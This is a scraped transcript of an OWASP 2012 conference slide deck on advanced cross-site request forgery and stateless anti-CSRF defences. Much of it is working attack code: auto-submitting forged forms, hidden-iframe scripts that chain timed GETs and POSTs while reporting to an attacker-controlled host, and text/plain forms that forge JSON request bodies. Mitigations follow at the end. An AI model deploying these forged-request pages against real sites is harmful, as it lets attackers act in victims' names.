advanced csrf and stateless anti-csrf - owasp · advanced csrf and stateless anti-csrf. frontend...

92
@johnwilander at OWASP AppSec Research 2012 Advanced CSRF and Stateless Anti-CSRF

Upload: phungdang

Post on 08-Oct-2018

303 views

Category:

Documents


1 download

TRANSCRIPT

Page 1: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

@johnwilander at OWASP AppSec Research 2012

Advanced CSRFand

Stateless Anti-CSRF

Page 2: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Frontend developer atSvenska Handelsbanken

Researcher in application securityCo-leader OWASP Sweden

@johnwilanderjohnwilander.com (music)johnwilander.se (papers

etc)

Page 3: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Some QuickCSRF Basics

Page 4: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Cross-Site Request Forgery

Cross-Site

Request Forgery

Page 5: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Cross-Site

Request Forgery

Phishing

Cross-Site Request Forgery

Page 6: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

What’s on your mind? What’s on your mind?POST POST

Page 7: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

I love OWASP!

What’s on your mind? What’s on your mind?POST POST

Page 8: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

I love OWASP!

What’s on your mind? What’s on your mind?POST POST

John: I love OWASP!

Page 9: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

What’s on your mind? What’s on your mind?POST POST

Page 10: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

Page 11: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

Page 12: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

What’s on your mind?I hate OWASP!

What’s on your mind?POST POST

John: I hate OWASP!

Page 13: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>

<script type="text/javascript"> $(document).ready(function() { $('#form').submit(); });</script>

Page 14: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

What’s on your mind? What’s on your mind?POST

John: I hate OWASP!

<form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/></form>

<script> $(document).ready(function() { $('#target').submit(); });</script>

Page 15: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Multi-Step,Semi-Blind

CSRF

Page 16: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Step 1 Step 2 Step 3

What about ”several steps”?

State built up i steps, server roundtrip in-between

Page 17: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Forged request

to last step will

miss the previous

Step 1 Step 2 Step 3

Page 18: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Step 1 Step 2 Step 3

1 2 3 4

Can we forge timed GETs and POSTsin a deterministic, non-blind way?

Page 19: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

csrfMultiDriver.html

invisibleiframe

csrfMulti0.html

Page 20: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

invisibleiframe

invisibleiframe

target0.html csrfMulti1.html

Wait

csrfMultiDriver.html

Page 21: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

invisibleiframe

invisibleiframe

invisibleiframe

target0.html target1.html csrfMulti2.html

Wait

csrfMultiDriver.html

Page 22: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

invisibleiframe

invisibleiframe

invisibleiframe

invisibleiframe

target0.html target1.html target2.html csrfMulti3.html

Wait

csrfMultiDriver.html

Page 23: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

invisibleiframe

invisibleiframe

invisibleiframe

invisibleiframe

target0.html target1.html target2.html target3.html

csrfMultiDriver.html

Page 24: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Let's look at

An iframed CSRF Get

Page 25: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since it's done with HTTP GET.</body></html>

csrfMulti0.html

Invisible iframe for timed GET

Page 26: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since it's done with HTTP GET.</body></html>

csrfMulti0.html

The iframed page configures which URL to CSRF against via a JavaScript-variable.

Page 27: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since it's done with HTTP GET.</body></html>

csrfMulti0.html

When the iframe's DOM is done loading IFRAME_GETTER.onload() is called.

Page 28: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since it's done with HTTP GET.</body></html>

csrfMulti0.html

Let's look at iframeGetter.js …

Page 29: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js

Page 30: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js

IFRAME_GETTER.onload() makes sure that the iframe reports back to the main page once every second.A so called heart beat function.

Page 31: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js

In practice, the heart beats are delivered via postMessage between the iframe and the main page.

Page 32: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js

The GET CSRF is executed with an<img src="vulnerable URL">

Page 33: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js

The onerror event will fire since the vulnerable URL does not respond with an image. We use that event to stop the heart beat function. No heart beat means the main page knows this step is done and can continue opening the next iframe.

Page 34: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Let's look at

An iframed CSRF Post

Page 35: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form>

</body></html> csrfMulti1.ht

ml

Invisible iframe for timed POST

Page 36: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form>

</body></html> csrfMulti1.ht

ml

The vulnerable URL can be found in the form to be posted.

Page 37: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form>

</body></html> csrfMulti1.ht

ml

When the iframe's DOM is done loading IFRAME_POSTER.onload() is called.

Page 38: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form>

</body></html> csrfMulti1.ht

ml

Let's look at iframePoster.js …

Page 39: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; }};

IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);};

iframePoster.js

Page 40: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; }};

IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);};

iframePoster.js

IFRAME_POSTER.onload() makes sure the iframe reports back to the main page once every second. Again, a heart beat function.

Page 41: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; }};

IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);};

iframePoster.js

The heart beats stop automatically when the POST is done since the iframe is loaded with the response from the web server that got the POST.

Page 42: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'} ], appendIFrame = function(frame) { var domNode = '<iframe src="' + frame.src + '" height="600" width="400"' + (hideIFrames ? 'style="visibility: hidden"' : '') + '></iframe>'; $("body").append(domNode); };…

csrfMultiDriver.html

The main page configures the order of the CSRF steps, opens iframes and …

Page 43: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

return { checkIFrames : function() { var frame; for (var i = 0; i < frames.length; i++) { frame = frames[i]; if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } },

receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht

ml

… listens on heart beats totime every iframe

Page 44: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Demo Multi-Step,Semi-Blind CSRFagainst amazon.com which has protection

against this.The intention is to show how you can test your

own sites.

Page 45: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

There used to be a protection in web

1.5

Page 46: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Forced Browsingwizard-style

Shipment info ✉

Next

Payment info $

Buy!

Page 47: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Forced Browsingwizard-style

Next Buy!

Token

Shipment info ✉ Payment info $

Page 48: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Forced Browsingwizard-style

Next Buy!

Re-Auth

Shipment info ✉ Payment info $

Page 49: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Forced Browsingwizard-style

Token 1 Token 2 Token 3

Token 3

Page 50: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Forced Browsingwizard-style

Token 1 Token 2 Token 3

State built up i steps, server roundtrip in-between

Token 3

Page 51: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Forced Browsingwizard-style

Token 1 Token 2 Token 3

Token 3

Couldn’t forge

request to

last ste

p

without a

valid token

Page 52: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

But in RIAs ...

Page 53: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

RIA & client-side state

{”purchase”: {}}

Page 54: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

RIA & client-side state

{”purchase”: { ”items”: [{}] }}

Page 55: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

RIA & client-side state

{”purchase”: { ”items”: [{},{}] }}

Page 56: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

RIA & client-side state

{”purchase”: { ”items”: [{},{}], ”shipment”: {} }}

Page 57: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

RIA & client-side state

{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}

Page 58: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

RIA & client-side state

{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}

Page 59: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Can an attacker forge such a JSON

structure?

Page 60: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

CSRF AgainstRESTful Services

Page 61: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

CSRF possible?{”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} }}

Page 62: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Page 63: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Page 64: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Page 65: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name=”” value="" />

<input type="submit" value="Go" />

</form>

Forms produce a request body that looks like this:

theName=theValue

... and that’s not valid JSON.

Page 66: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" />

<input type="submit" value="Go" />

</form>

Page 67: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" />

<input type="submit" value="Go" />

</form>

Produces a request body that looks like this:

{"id": 0, "nickName": "John","oneLiner": "I hate OWASP!","timestamp": "20111006"}//=dummy

... and that is acceptable JSON!

Page 68: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": "' value='"}' />

<input type="submit" value="Go" />

</form>

Page 69: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

<form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain">

<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": "' value='"}' />

<input type="submit" value="Go" />

</form>

Produces a request body that looks like this:

{"id": 0, "nickName": "John","oneLiner": "I hate OWASP!","timestamp": "20111006", "paddingDummy": "="}

... and that is JSON!

Page 70: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Demo CSRF POSTthen

Demo CSRF + XSS

The Browser Exploitation Frameworkhttp://beefproject.com/

Page 71: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Important in your REST API

•Restrict HTTP method, e.g. POSTEasier to do CSRF with GET

•Restrict to AJAX if applicableX-Requested-With:XMLHttpRequestCross-domain AJAX prohibited by default

•Restrict media type(s), e.g. application/jsonHTML forms only allow URL encoded, multi-part and text/plain

Page 72: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Double Submit(CSRF Protection)

Page 73: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Double Submit(CSRF protection)

Anti-CSRF valueas cookie ...

... andrequest parameter

Page 74: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Double Submit(CSRF protection)

Cannot read theanti-CSRF cookie toinclude it as parameter

cookie ≠request parameter

Page 75: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Double Submit(CSRF protection)

Anti-CSRF cookie canbe generated client-side=> no server-side state

Page 76: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Demo Double Submit

Page 77: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Are We Fully Protected Now?

Page 78: Advanced CSRF and Stateless Anti-CSRF - OWASP · Advanced CSRF and Stateless Anti-CSRF. Frontend developer at Svenska Handelsbanken Researcher in application security ... RIA & …

Are We Fully Protected Now?

Of course not

